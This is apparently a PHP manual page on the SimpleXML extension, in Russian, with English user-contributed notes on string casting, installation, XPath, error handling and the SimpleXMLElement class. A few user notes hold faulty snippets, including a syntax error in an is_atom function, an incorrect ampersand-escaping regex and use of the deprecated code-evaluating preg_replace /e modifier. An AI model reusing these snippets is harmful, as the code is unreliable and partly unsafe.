<Test>
    <Id>123</Id>
</Test>

Reading this xml into a variable called $xml and then doing the following
<?php
$myId = $xml->Id;
?>
Did not return 123 in $myId, but instead I got a SimpleXMLElement Object.

The solution is simple, when you know it. Use explicit string conversion.
<?php
$myId = (string)$xml->Id;
?>
oscargodson at gmail dot com 25-Jan-2009 03:05
To add to what others have said, you can't directly put a $_GET or $_POST value into a variable then into an attribute using SimpleXML. You must first convert it to an integer.

This will NOT work

<?php
      $page_id = $_GET['id'];
      echo $xml->page[$page_id]
?>

You will get something like:
Notice: Trying to get property of non-object in /Applications/MAMP/htdocs/mysite/index.php on line 10

However, this WILL work and is much simpler then using (string) or other methods.
<?php
   $page_id = intval($_GET['id']);
   echo $xml->page[$page_id]
?>
bxt at die-optimisten dot net 26-Nov-2008 07:47
Addition to QLeap's post:
SimpleXML will return a reference to an object containing the node value and you can't use references in session variables as there is no feasible way to restore a reference to another variable.

This won't work too:
$val=$this->xml->node->attributes()->name;
echo $array[$val]; // will cause a warning because of the wrong index type.

You have to convert/cast to a String first:
echo $array[(string)$val];

This will work as expected, because converting will call the __toString() method. Therefor echo works too:
echo $val; // will display the name
QLeap 18-Nov-2008 02:27
Storing SimpleXMLElement values in $_SESSION does not work. Saving the results as an object or individual elements of the object will result in the dreaded "Warning: session_start() [function.session-start]: Node no longer exists" error.

For example, this does not work:

    $xml  = new SimpleXMLElement($page);
    $country  = $xml->Response->Placemark->AddressDetails->Country->CountryNameCode;
    $_SESSION['country'] = $country;

This will work:

    $_SESSION['country'] = (string) $country;
gwhitescarver at yahoo dot com 11-Sep-2008 01:02
Moving some code from a PHP 5.2.6 / Windows environment to a 5.2.0 / Linux environment, I somehow lost access to a plain text node within a SimpleXML Object.  On a var_dump of $xml_node, a [0] element was shown as the string '12'.  However, $xml_node[0] was evaluating NULL in 5.2.0.  You can see below the code change I made, pulling my data out of the raw XML with a regular expression.  Hope this is useful to someone.

//In some versions of PHP it seems we cannot access the [0] element of a SimpleXML Object.  Doesn't work in 5.2.0:
//$count = $xml_node[0];
//grab the raw XML:
$count = ($xml_node->asXML());
//pull out the number between the closing and opening brace of the xml:
$count = preg_replace('/.*>(\d*)<.*/', '$1', $count);
charlie at blankcanvasstudios dot com 14-Aug-2008 11:21
Optimizing aalaap at gmail dot com's php

<?php
function is_rss($feedxml) {
    @$feed = simplexml_load_string($feedxml);

    return ($feed->channel->item)?true:false;
}

function is_atom($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);
    ($feed->entry):true:false;
}
?>
aalaap at gmail dot com 30-Jun-2008 06:58
Here are two quick and dirty functions that use SimpleXML to detect if a feed xml is RSS or ATOM:

<?php
function is_rss($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);

    if ($feed->channel->item) {
        return true;
    } else {
        return false;
    }
}

function is_atom($feedxml) {
    @$feed = new SimpleXMLElement($feedxml);

    if ($feed->entry) {
        return true;
    } else {
        return false;
    }
}
?>

The functions take in the full text feed (retrieved via cURL, for example) and return a true or a false based on the result.


Введение

Модуль SimpleXML предоставляет очень простой и лёгкий в использовании набор инструментов для преобразования XML в объект, с которым можно затем работать через его свойства и с помощью итераторов.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-simplexml

User Contributed Notes

Rapitharian at hotmail dot com 24-Apr-2019 08:39
To install on CentOS and Redhat, run: sudo yum -y install php-xml
ottakar at freezed dot me 19-Dec-2017 09:31
This XML module is not provided on a default php (v7) install on Debian GNU/Linux stretch (9.3)
Add it with: sudo apt-get install php-xml
shashank at shankee dot com 31-May-2017 09:44
Installing simpleXml using composer:

"composer require ext-simplexml"

The extension is enabled by default in most distros. You can check the list of php modules using:

"php -m"
morel dot josh at hotmail dot com 17-Dec-2016 12:09
For Linux Ubuntu using PHP 7:
sudo apt-get install php7.0-xml


Примеры

Содержание

  • Основы работы с модулем SimpleXML
  • Работа с ошибками XML

User Contributed Notes

Juan Herrera 19-Dec-2009 12:49
When using simplexml to access a element the returned object may be a SimpleXMLElement instead of a string.

Example:

<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
    <cmd>login</cmd>
    <login>Richard</login>
</document>
XML;

$xml = simplexml_load_string($string);
print_r($xml);
$login = $xml->login;
print_r($login);
$login = (string) $xml->login;
print_r($login);
?>

Expected result:
----------------
SimpleXMLElement Object
(
    [cmd] => login
    [login] => Richard
)
Richard
Richard

Actual result:
--------------
SimpleXMLElement Object
(
    [cmd] => login
    [login] => Richard
)
SimpleXMLElement Object
(
    [0] => Richard
)
Richard

But this is an intended behavior. See http://bugs.php.net/bug.php?id=29500
info at accountr dot eu 05-May-2009 08:35
Instead of using  <?php eval($code) ?>

you can use this method,

<?php

$node = "node";

$XML = simplexml_load_file($file);

$text = (string)$XML->nodes->{$node}; // works
// or
$text2 = (string)$XML->{$node}->child; // also works fine

?>

I think it is much more easier instead of eval().
Kari P. 15-Aug-2008 02:17
To take care of proper error checking, one must use try-catch blocks:

<?php
try {
  $sxe = new SimpleXMLElement($xmlstring);
} catch (Exception $e) {
  echo "bad xml";
}
?>

To get rid of warnings, use @ in front of new:

<?php
try {
  $sxe = @new SimpleXMLElement($xmlstring);
} catch (Exception $e) {
  echo "bad xml";
}
?>
mike at mike-griffiths dot co dot uk 18-Apr-2008 09:11
It is important that you select the correct method of loading the XML in depending on the format of your XML file.

If you use the wrong function to load it in you will get some strange errors.


Основы работы с модулем SimpleXML

Часть примеров этого руководства включает XML-строку. Чтобы не повторять строку в каждом примере, её помещают в файл, который и включают в каждый пример. Строка приведена в следующем примере. Кроме этого можно создать XML-документ и считывать его функцией simplexml_load_file().

Пример #1 Файл example.php с XML строкой

<?php
$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<movies>
<movie>
<title>PHP: Появление Парсера</title>
<characters>
<character>
<name>Ms. Coder</name>
<actor>Onlivia Actora</actor>
</character>
<character>
<name>Mr. Coder</name>
<actor>El Act&#211;r</actor>
</character>
</characters>
<plot>
Таким образом, это язык. Это всё равно язык программирования. Или
это скриптовый язык? Обо всём рассказывает этот документальный фильм,
похожий на фильм ужасов.
</plot>
<great-lines>
<line>PHP решает все мои проблемы в вебе</line>
</great-lines>
<rating type="thumbs">7</rating>
<rating type="stars">5</rating>
</movie>
</movies>
XML;
?>

Пользоваться модулем SimpleXML очень просто! Попробуйте получить какую-нибудь строку или число из базового XML-документа.

Пример #2 Получение части документа <plot>

<?php

include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

echo $movies->movie[0]->plot;

?>

Результат выполнения приведённого примера:

   Таким образом, это язык. Это всё равно язык программирования. Или
   это скриптовый язык? Обо всём рассказывает этот документальный фильм,
   похожий на фильм ужасов.

В PHP получить доступ к элементу в XML-документе, который содержит в названии недопустимые символы (например, дефис), можно путём заключения имени элемента в фигурные скобки и апострофы.

Пример #3 Получение строки <line>

<?php

include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

echo $movies->movie->{'great-lines'}->line;

?>

Результат выполнения приведённого примера:

PHP решает все мои проблемы в вебе

Пример #4 Доступ к неуникальным элементам в SimpleXML

В том случае, если существует несколько экземпляров дочерних элементов в одном родительском элементе, нужно применять стандартные методы итерации.

<?php

include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

/* Для каждого узла <character>, мы отдельно выведем имя <name>. */
foreach ($movies->movie->characters->character as $character) {
echo $character->name, ' играет ', $character->actor, PHP_EOL;
}

?>

Результат выполнения приведённого примера:

Ms. Coder играет Onlivia Actora
Mr. Coder играет El ActOr

Замечание:

Свойства ($movies->movie в предыдущем примере) — не массивы. Это итерируемый объект в виде массива.

Пример #5 Работа с атрибутами

До сих пор мы только получали названия и значения элементов. SimpleXML также умеет получать доступ к атрибутам элемента. Получить доступ к атрибуту элемента можно так же, как к элементам массива (array).

<?php

include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

/* Доступ к узлу <rating> первого фильма.
* Так же выведем шкалу оценок. */
foreach ($movies->movie[0]->rating as $rating) {
switch((string) $rating['type']) { // Получение атрибутов элемента по индексу
case 'thumbs':
echo $rating, ' thumbs up';
break;
case 'stars':
echo $rating, ' stars';
break;
}
}

?>

Результат выполнения приведённого примера:

7 thumbs up5 stars

Пример #6 Сравнение элементов и атрибутов с текстом

Для сравнения элемента или атрибута со строкой или для передачи в функцию в качестве текста, необходимо привести его к строке через оператор приведения (string). В противном случае PHP будет рассматривать элемент как объект.

<?php

include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

if ((string) $movies->movie->title == 'PHP: Появление Парсера') {
print 'Мой любимый фильм.';
}

echo htmlentities((string) $movies->movie->title);

?>

Результат выполнения приведённого примера:

Мой любимый фильм.PHP: Появление Парсера

Пример #7 Сравнение двух элементов

Два элемента SimpleXMLElements признаются разными, даже если они указывают на один и тот же объект.

<?php

include 'example.php';

$movies1 = new SimpleXMLElement($xmlstr);
$movies2 = new SimpleXMLElement($xmlstr);
var_dump($movies1 == $movies2); // false

?>

Результат выполнения приведённого примера:

bool(false)

Пример #8 XPath — язык запросов к элементам XML-документа

SimpleXML включает встроенную поддержку языка XPath. Поиск элементов <character>:

<?php

include 'example.php';

$movies = new SimpleXMLElement($xmlstr);

foreach ($movies->xpath('//character') as $character) {
echo $character->name, ' играет ', $character->actor, PHP_EOL;
}

?>

Запись «//» работает как подстановочный знак, или шаблон. Чтобы указать абсолютный путь, один слеш опускают.

Результат выполнения приведённого примера:

Ms. Coder играет Onlivia Actora
Mr. Coder играет by El ActOr

Пример #9 Установка значений

Данные в SimpleXML не обязаны быть неизменяемыми. Объект разрешает манипулировать всеми элементами.

<?php

include 'example.php';
$movies = new SimpleXMLElement($xmlstr);

$movies->movie[0]->characters->character[0]->name = 'Miss Coder';

echo $movies->asXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0" standalone="yes"?>
<movies>
 <movie>
  <title>PHP: Появление Парсера</title>
  <characters>
   <character>
    <name>Miss Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  </characters>
  <plot>
   Таким образом, это язык. Это всё равно язык программирования. Или
   это скриптовый язык? Обо всём рассказывает этот документальный фильм,
   похожий на фильм ужасов.
  </plot>
  <great-lines>
   <line>PHP решает все мои задачи в вебе</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 </movie>
</movies>

Пример #10 Добавление элементов и атрибутов

SimpleXML умеет легко добавлять дочерние элементы и атрибуты.

<?php

include 'example.php';
$movies = new SimpleXMLElement($xmlstr);

$character = $movies->movie[0]->characters->addChild('character');
$character->addChild('name', 'Mr. Parser');
$character->addChild('actor', 'John Doe');

$rating = $movies->movie[0]->addChild('rating', 'PG');
$rating->addAttribute('type', 'mpaa');

echo $movies->asXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0" standalone="yes"?>
<movies>
 <movie>
  <title>PHP: Появление Парсера</title>
  <characters>
   <character>
    <name>Ms. Coder</name>
    <actor>Onlivia Actora</actor>
   </character>
   <character>
    <name>Mr. Coder</name>
    <actor>El Act&#xD3;r</actor>
   </character>
  <character><name>Mr. Parser</name><actor>John Doe</actor></character></characters>
  <plot>
   Таким образом, это язык. Это всё равно язык программирования. Или
   это скриптовый язык? Обо всём рассказывает этот документальный фильм,
   похожий на фильм ужасов.
  </plot>
  <great-lines>
   <line>PHP решает все мои задачи в вебе</line>
  </great-lines>
  <rating type="thumbs">7</rating>
  <rating type="stars">5</rating>
 <rating type="mpaa">PG</rating></movie>
</movies>

Пример #11 Взаимодействие с DOM

PHP умеет преобразовывать XML-узлы из SimpleXML в формат DOM и наоборот. Пример показывает, как можно изменить DOM-элемент в SimpleXML.

<?php

$dom = new DOMDocument;
$dom->loadXML('<books><book><title>чепуха</title></book></books>');
if (!$dom) {
echo 'Ошибка при разборе документа';
exit;
}

$books = simplexml_import_dom($dom);

echo $books->book[0]->title;

?>

Результат выполнения приведённого примера:

чепуха

User Contributed Notes

Josef 01-Sep-2021 06:54
How to find out if a Node exists:

<?xml version='1.0' standalone='yes'?>
<book>
  <author>Josef</author>
  <isbn></isbn>
</book>

empty($xml->isbn) will be true
isset($xml->isbn) will be true

empty($xml->title) will be true
isset($xml->title) will be false
Anonymous 22-Aug-2017 12:35
If your xml string contains booleans encoded with "0" and "1", you will run into problems when you cast the element directly to bool:

$xmlstr = <<<XML
<?xml version='1.0' standalone='yes'?>
<values>
    <truevalue>1</truevalue>
    <falsevalue>0</falsevalue>
</values>
XML;
$values = new SimpleXMLElement($xmlstr);
$truevalue = (bool)$values->truevalue; // true
$falsevalue = (bool)$values->falsevalue; // also true!!!

Instead you need to cast to string or int first:

$truevalue = (bool)(int)$values->truevalue; // true
$falsevalue = (bool)(int)$values->falsevalue; // false
rowan dot collins at gmail dot com 04-Jun-2015 06:58
There is a common "trick" often proposed to convert a SimpleXML object to an array, by running it through json_encode() and then json_decode(). I'd like to explain why this is a bad idea.

Most simply, because the whole point of SimpleXML is to be easier to use and more powerful than a plain array. For instance, you can write <?php $foo->bar->baz['bing'] ?> and it means the same thing as <?php $foo->bar[0]->baz[0]['bing'] ?>, regardless of how many bar or baz elements there are in the XML; and if you write <?php (string)$foo->bar[0]->baz[0] ?> you get all the string content of that node - including CDATA sections - regardless of whether it also has child elements or attributes. You also have access to namespace information, the ability to make simple edits to the XML, and even the ability to "import" into a DOM object, for much more powerful manipulation. All of this is lost by turning the object into an array rather than reading understanding the examples on this page.

Additionally, because it is not designed for this purpose, the conversion to JSON and back will actually lose information in some situations. For instance, any elements or attributes in a namespace will simply be discarded, and any text content will be discarded if an element also has children or attributes. Sometimes, this won't matter, but if you get in the habit of converting everything to arrays, it's going to sting you eventually.

Of course, you could write a smarter conversion, which didn't have these limitations, but at that point, you are getting no value out of SimpleXML at all, and should just use the lower level XML Parser functions, or the XMLReader class, to create your structure. You still won't have the extra convenience functionality of SimpleXML, but that's your loss.
jishcem at gmail dot com 12-Mar-2013 07:31
For me it was easier to use arrays than objects,

So, I used this code,

$xml = simplexml_load_file('xml_file.xml');

$json_string = json_encode($xml);

$result_array = json_decode($json_string, TRUE);

Hope it would help someone
gkokmdam at zonnet dot nl 23-Feb-2011 01:54
A quick tip on xpath queries and default namespaces. It looks like the XML-system behind SimpleXML has the same workings as I believe the XML-system .NET uses: when one needs to address something in the default namespace, one will have to declare the namespace using registerXPathNamespace and then use its prefix to address the otherwise in the default namespace living element.

<?php
$string = <<<XML
<?xml version='1.0'?>
<document xmlns="http://www.w3.org/2005/Atom">
 <title>Forty What?</title>
 <from>Joe</from>
 <to>Jane</to>
 <body>
  I know that's the answer -- but what's the question?
 </body>
</document>
XML;

$xml = simplexml_load_string($string);
$xml->registerXPathNamespace("def", "http://www.w3.org/2005/Atom");

$nodes = $xml->xpath("//def:document/def:title");

?>
kdos 31-Jan-2011 05:32
Using stuff like: is_object($xml->module->admin) to check if there actually is a node called "admin", doesn't seem to work as expected, since simplexml always returns an object- in that case an empty one  - even if a particular node does not exist.
For me good old empty() function seems to work just fine in such cases.

Cheers
Max K. 20-Jun-2010 02:38
From the README file:

SimpleXML is meant to be an easy way to access XML data.

SimpleXML objects follow four basic rules:

1) properties denote element iterators
2) numeric indices denote elements
3) non numeric indices denote attributes
4) string conversion allows to access TEXT data

When iterating properties then the extension always iterates over
all nodes with that element name. Thus method children() must be
called to iterate over subnodes. But also doing the following:
foreach ($obj->node_name as $elem) {
  // do something with $elem
}
always results in iteration of 'node_name' elements. So no further
check is needed to distinguish the number of nodes of that type.

When an elements TEXT data is being accessed through a property
then the result does not include the TEXT data of subelements.

Known issues
============

Due to engine problems it is currently not possible to access
a subelement by index 0: $object->property[0].
ie dot raymond at gmail dot com 01-Apr-2010 03:07
If you need to output valid xml in your response, don't forget to set your header content type to xml in addition to echoing out the result of asXML():

<?php

$xml=simplexml_load_file('...');
...
...xml stuff
...

//output xml in your response:
header('Content-Type: text/xml');
echo $xml->asXML();
?>
php at keith tyler dot com 23-Dec-2009 12:57
[Editor's Note: The SimpleXMLIterator class, however, does implement these methods.]

While SimpleXMLElement claims to be iterable, it does not seem to implement the standard Iterator interface functions like ::next and ::reset properly. Therefore while foreach() works, functions like next(), current(), or each() don't seem to work as you would expect -- the pointer never seems to move or keeps getting reset.
radams at circlepix com 24-Apr-2009 10:52
To test whether an element exists:

<?php

    $xml = <<<EOT
<?xml version='1.0' standalone='yes'?>
<root>
    <test1></test1>
    <test2 />
    <test4> </test4>
</root>
EOT;

    $xmlDoc = new SimpleXMLElement($xml);

echo "Test1: \n";
var_dump($xmlDoc->test1);
echo "\n(" . (bool)$xmlDoc->test1 . ")";
echo "\n\n";

echo "Test2: \n";
var_dump($xmlDoc->test2);
echo "\n(" . (bool)$xmlDoc->test2 . ")";
echo "\n\n";

echo "Test3: \n";
var_dump($xmlDoc->test3);
echo "\n(" . (bool)$xmlDoc->test3 . ")";
echo "\n\n";

echo "Test4: \n";
var_dump($xmlDoc->test4);
echo "\n(" . (bool)$xmlDoc->test4 . ")";
echo "\n\n";

?>

The var_dumps for test1, test2, and test3 are identical, but the (bool) test gives a '1' for test1 and test2, and a '' for test3.


Работа с ошибками XML

Работа с ошибками XML при загрузке документов — простая задача. Функциями модуля libxml можно подавить все XML-ошибки при загрузке документа и затем обработать их.

Объект libXMLError, который возвращает функция libxml_get_errors(), содержит ряд свойств, в том числе сообщение, номер строки и колонку (позицию) этой ошибки.

Пример #1 Загрузка XML-строки с неправильным синтаксисом

<?php

libxml_use_internal_errors(true);
$sxe = simplexml_load_string("<?xml version='1.0'><broken><xml></broken>");
if (!$sxe) {
echo "Ошибка загрузки XML\n";
foreach(libxml_get_errors() as $error) {
echo "\t", $error->message;
}
}

?>

Результат выполнения приведённого примера:

Ошибка загрузки XML
    Blank needed here
    parsing XML declaration: '?>' expected
    Opening and ending tag mismatch: xml line 1 and broken
    Premature end of data in tag broken line 1

Смотрите также

  • libxml_use_internal_errors()
  • libxml_get_errors()
  • LibXMLError

User Contributed Notes

1337 at netapp dot com 04-Sep-2015 02:21
If you need to process the content of your broken XML-doc you might find this interesting. It has blown past a few simple corruptions for me.
http://php.net/manual/en/class.domdocument.php#domdocument.props.recover
tuxedobob 11-Sep-2014 09:29
Now that the /e modifier is considered deprecated in preg_replace, you can use a negative lookahead to replace unescaped ampersands with &amp; without throwing warnings:

$str = preg_replace('/&(?!;{6})/', '&amp;', $str);

You probably should have been doing this before /e was deprecated, actually.
openbip at gmail dot com 25-Feb-2010 08:20
Note that "if (! $sxe) {" may give you a false-negative if the XML document was empty (e.g. "<root />").  In that case, $sxe will be:

object(SimpleXMLElement)#1 (0) {
}

which will evaluate to false, even though nothing technically went wrong.

Consider instead: "if ($sxe === false) {"
Jacob Tabak 15-Feb-2010 01:17
If you are trying to load an XML string with some escaped and some unescaped ampersands, you can pre-parse the string to ecsape the unescaped ampersands without modifying the already escaped ones:
<?php
$s = preg_replace('/&[^; ]{0,6}.?/e', "((substr('\\0',-1) == ';') ? '\\0' : '&amp;'.substr('\\0',1))", $s);
?>


Класс SimpleXMLElement

(PHP 5, PHP 7, PHP 8)

Введение

Представляет собой элемент в XML-документе.

Обзор классов

class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
/* Методы */
public __construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public asXML(?string $filename = null): string|bool
public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public count(): int
public current(): SimpleXMLElement
public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public getName(): string
public getNamespaces(bool $recursive = false): array
public getChildren(): ?SimpleXMLElement
public hasChildren(): bool
public key(): string
public next(): void
public registerXPathNamespace(string $prefix, string $namespace): bool
public rewind(): void
public __toString(): string
public valid(): bool
public xpath(string $expression): array|null|false
}

Список изменений

Версия | Описание
8.0.0 | Класс SimpleXMLElement теперь реализует интерфейсы Stringable, Countable, и RecursiveIterator.

Содержание

  • SimpleXMLElement::addAttribute — Добавляет атрибут к SimpleXML-элементу
  • SimpleXMLElement::addChild — Добавляет дочерний элемент к узлу XML
  • SimpleXMLElement::asXML — Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML
  • SimpleXMLElement::attributes — Возвращает атрибуты элемента
  • SimpleXMLElement::children — Находит дочерние элементы данного узла
  • SimpleXMLElement::__construct — Создаёт новый объект SimpleXMLElement
  • SimpleXMLElement::count — Подсчитывает количество дочерних элементов у текущего элемента
  • SimpleXMLElement::current — Возвращает текущий элемент
  • SimpleXMLElement::getDocNamespaces — Возвращает пространства имён, объявленные в документе
  • SimpleXMLElement::getName — Получает имя элемента XML
  • SimpleXMLElement::getNamespaces — Возвращает пространства имён, используемые в документе
  • SimpleXMLElement::getChildren — Возвращает дочерние элементы текущего элемента
  • SimpleXMLElement::hasChildren — Проверяет, имеет ли текущий элемент дочерние элементы
  • SimpleXMLElement::key — Возвращает имя XML-тега текущего элемента
  • SimpleXMLElement::next — Переход к следующему элементу
  • SimpleXMLElement::registerXPathNamespace — Создаёт префикс/пространство имён контекста для следующего запроса XPath
  • SimpleXMLElement::rewind — Перемотка к первому элементу
  • SimpleXMLElement::saveXML — Псевдоним SimpleXMLElement::asXML
  • SimpleXMLElement::__toString — Возвращает содержимое строки
  • SimpleXMLElement::valid — Проверяет, является ли текущий элемент корректным
  • SimpleXMLElement::xpath — Запускает запрос XPath к XML-данным

User Contributed Notes

ohcc at 163 dot com 12-Jun-2023 03:28
You can remove SimpleXMLElement nodes using php's unset() language construct.

<?php
    $xml = <<<'EOT'
<users>
    <user>
        <name>orange</name>
        <sex>male</sex>
        <homepage>wuxiancheng.cn</homepage>
    </user>
    <user>
        <name>tangerine</name>
        <sex>male</sex>
        <homepage>51-n.com</homepage>
    </user>
</users>
EOT;
    $sxe = new SimpleXMLElement($xml);
    // This will remove the first user node
    unset($sxe->user[0]);
    // This will remove all user nodes
    unset($sxe->user);
    echo $sxe->asXML();
?>
Patanjali 15-Oct-2020 02:20
Further to rmirabelle's comment, to compare two SimpleXML elements, do the comparison between the objects returned by the dom_import_simplexml function, as per:

<?php
if(dom_import_simplexml($simplexml_element_1)===dom_import_simplexml($simplexml_element_2)){
  ...
 }
?>

You must ensure that both are SimpleXML elements before conversion to DOM objects.
guilhermeasn at yahoo dot com dot br 15-Jan-2020 08:09
Class with a method to transform array or object to XML:

class MakeXML {

    public static function array_obj_to_xml($data, \SimpleXMLElement &$xmlObj) {
        foreach((array) $data as $key => $value) {
            if(is_numeric($key)) {
                $key = "n" . $key;
            }
            if(is_array($value) or is_object($value)) {
                $subnode = $xmlObj->addChild($key);
                self::array_obj_to_xml($value, $subnode);
            } else {
                $xmlObj->addChild($key, htmlspecialchars($value));
            }
        }
    }

}

Example:

$object = new \stdClass();
$object->example = "Try this class";

$objxml = new \SimpleXMLElement('<API/>');
MakeXML::array_obj_to_xml($objxml, $objxml);
echo $objxml->asXML();
Budu 13-May-2018 07:17
public function crearXml(){
        $pruebaXml = <<<XML
<?xml version="1.0" encoding="UTF-8" ?>
<Root></Root>
XML;
$example = new SimpleXMLElement($pruebaXml); //Crea un nuevo objeto SimpleXMLElement
        $example->addAttribute('id', '1');//Anade un elemento hijo al nodo XML

        while( $nodo = $this->iteraciones->iterate()){
            $nodos = $example->addChild('Nodo');
            $nodos->addAttribute('id',$nodo->getId());
            $acierto = $nodos->addChild('nuevoHijo', $nodo->getX());
        }
        $miFichero = $example->asXML();//Retorna un string XML correcto basado en un elemento SimpleXML
        $miArchivo = fopen("xml/example.xml", "w+");//Abre un fichero o un URL
        fwrite($miArchivo, $miFichero);//Escritura archivo
    }
CameronXie 11-Dec-2017 10:48
Map xml to array (with attributes)

<?php declare(strict_types=1);

/**
 * @param SimpleXMLElement $xml
 * @return array
 */
function xmlToArray(SimpleXMLElement $xml): array
{
    $parser = function (SimpleXMLElement $xml, array $collection = []) use (&$parser) {
        $nodes = $xml->children();
        $attributes = $xml->attributes();

        if (0 !== count($attributes)) {
            foreach ($attributes as $attrName => $attrValue) {
                $collection['attributes'][$attrName] = strval($attrValue);
            }
        }

        if (0 === $nodes->count()) {
            $collection['value'] = strval($xml);
            return $collection;
        }

        foreach ($nodes as $nodeName => $nodeValue) {
            if (count($nodeValue->xpath('../' . $nodeName)) < 2) {
                $collection[$nodeName] = $parser($nodeValue);
                continue;
            }

            $collection[$nodeName][] = $parser($nodeValue);
        }

        return $collection;
    };

    return [
        $xml->getName() => $parser($xml)
    ];
}
kurtbr at gmail dot com 31-May-2017 02:58
Here is a helper class to convert a PHP array to XML
You would call it doing the following:

<?php
$xml = new Xml();
$xml-> generateXmlFromArray($array, 'entities', 'entity');
?>

<?php
class Xml
{
    public function getXmlFromArray($value, \SimpleXMLElement &$xmlElement, $entity, $starting = null)
    {

        $handleValue = function($value){
            if(is_string($value)){
                $value = htmlspecialchars($value);
            }
            return $value;
        };
        $addChild = function($name, $value, &$subNode = null)use(&$xmlElement, $handleValue, $entity){
            if(is_array($value)){
                if(!$subNode instanceof \SimpleXMLElement){
                    $currentKey = key($value);
                    $initialValue = null;
                    if(is_numeric($currentKey)){
                        if(!is_array($value[$currentKey])){
                            $initialValue = $value[$currentKey];
                            unset($value[$currentKey]);
                        }
                    }
                    $subNode = $xmlElement->addChild($name, $initialValue);
                }
                $this->getXmlFromArray($handleValue($value), $subNode, $name);
            } else {
                $xmlElement->addChild($name, $handleValue($value));
            }
        };

        if(is_array($value))
        {
            if(is_numeric(key($value))){
                $setSubNodePrimitiveValue = function($value)use(&$xmlElement, $entity, $handleValue){
                    $value = $handleValue($value);
                    $children = $xmlElement->children();
                    $children[] = $value;
                };
                foreach ($value as $item)
                {
                    if(!is_array($item)){
                        $setSubNodePrimitiveValue($item);
                    } else {
                        if($starting === true){
                            $addChild($entity, $item);
                        } else {
                            $addChild($entity, $item, $xmlElement);
                        }
                    }
                }
            } else {
                foreach ($value as $subEntity => $subEntityItem)
                {
                    $addChild($subEntity, $subEntityItem);
                }
            }
        } else {
            $xmlElement->addChild($entity, $handleValue($value));
        }
    }

    /**
     * @param array $array
     * @param string $openingTag
     * @param string $entity
     * @param string $nameSpace
     * @param bool $isPrefixed
     * @return \SimpleXMLElement
     */
    public function generateXmlFromArray(array $array, string $openingTag, string $entity, $nameSpace = '', $isPrefixed = false)
    {
        $xmlString = '<'.$openingTag.'></'.$openingTag.'>';
        $xml = new \SimpleXMLElement($xmlString, LIBXML_NOERROR, false, $nameSpace, $isPrefixed);
        $this->getXmlFromArray($array, $xml, $entity, true);
        return $xml;
    }

    /**
     * @param string $xml
     * @return bool
     */
    public function validateXml(string $xml)
    {
        $dom = new \DOMDocument();
        $dom->loadXML($xml);
        return $dom->validate();
    }

    public function loadXmlPathAsArray(string $xmlPath)
    {
        $xml   = simplexml_load_file($xmlPath);
        $array = json_decode(json_encode($xml), TRUE);
        return (array)$array;
    }

    /**
     * @param string $xmlString
     * @return array
     */
    public function loadXmlStringAsArray(string $xmlString)
    {
        $array = (array) @simplexml_load_string($xmlString);
        if(!$array){
            $array = (array) @json_decode($xmlString, true);
        } else{
            $array = (array)@json_decode(json_encode($array), true);
        }
        return $array;
    }

    /**
     * @param string $xmlString
     * @return \SimpleXMLElement
     */
    public function loadXmlString(string $xmlString)
    {
        return @simplexml_load_string($xmlString);
    }
}
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:54
See previous two parts to get better understanding of how these tricks works. Example shown here refers to part two. (Sorry, length limitation)

3. Tricks
<?php
        // The real profit is in combination of property and array accesses and unset($someNode->{0}) trick -
        // it allows you to remove whatever node you want:
        unset($rootNode->{'div'}[2]);   // remove node with * mark (text*)

        // Another trick is removing child node using child node object
        $newChildNode = $rootNode->addChild('div','text**');    // Create
        unset($newChildNode->{0});      // Remove, node removed from parent object too!

        echo "--2--\n".$rootNode->asXML();
        /*
        <xml_root>complex node
                <type_one>renewed node 1</type_one>
                <type_two>node 3</type_two>
                <type_one>node 2</type_one>
                <div>text</div>
                <div>text</div>
                <div>text</div>
        </xml_root>
        */
?>
xxxargonxxx at gmail dot com 12-Jan-2017 06:48
How to view, edit and remove elements.
Speaking in terms of CRUD style, there is no methods to read, edit and remove nodes. But it is possible.

2. How child nodes works (understanding)
<?php
        echo "Exercise 2 \n";

        $rootNode = new SimpleXMLElement('<xml_root>complex node</xml_root>');  // Create root node
        $childNode1 = $rootNode->addChild('type_one','node 1');                 // Create child node 1 with name 'type_one'
        $childNode2 = new SimpleXMLElement('<type_one>node 2</type_one>');      // Create child node 2 with name 'type_one'
        $childNode3 = new SimpleXMLElement('<type_two>node 3</type_two>');      // Create child node 3 with name 'type_two' (different!)
        // Now $rootNode has only one children because other child nodes was created separately
        // Lets paste child node to root node
        echo $childNode1;

        $rootNode->{'type_one'} = $childNode2;      // Note that the property name is 'type_one'
        $rootNode->{'type_two'} = $childNode3;      // Note that the property name is 'type_two'
        var_dump($rootNode);
        /*
        object(SimpleXMLElement)#68 (2) {
            ["type_one"]=>
            string(6) "node 2"
            ["type_two"]=>
            string(6) "node 3"
        }
        */
        // We see that "node 1" disappeared, that's because assigning one node to some property of another in not a magic.
        // To be clear, the real calls looks like:
        $rootNode->{'type_one'}[0] = (string) $childNode2;
        $rootNode->{'type_two'}[0] = (string) $childNode3;
        // Explanation:
        // A: (string)
        // It means that you can't assign node itself, only its string representation because assigned node will be casted to string anyway.
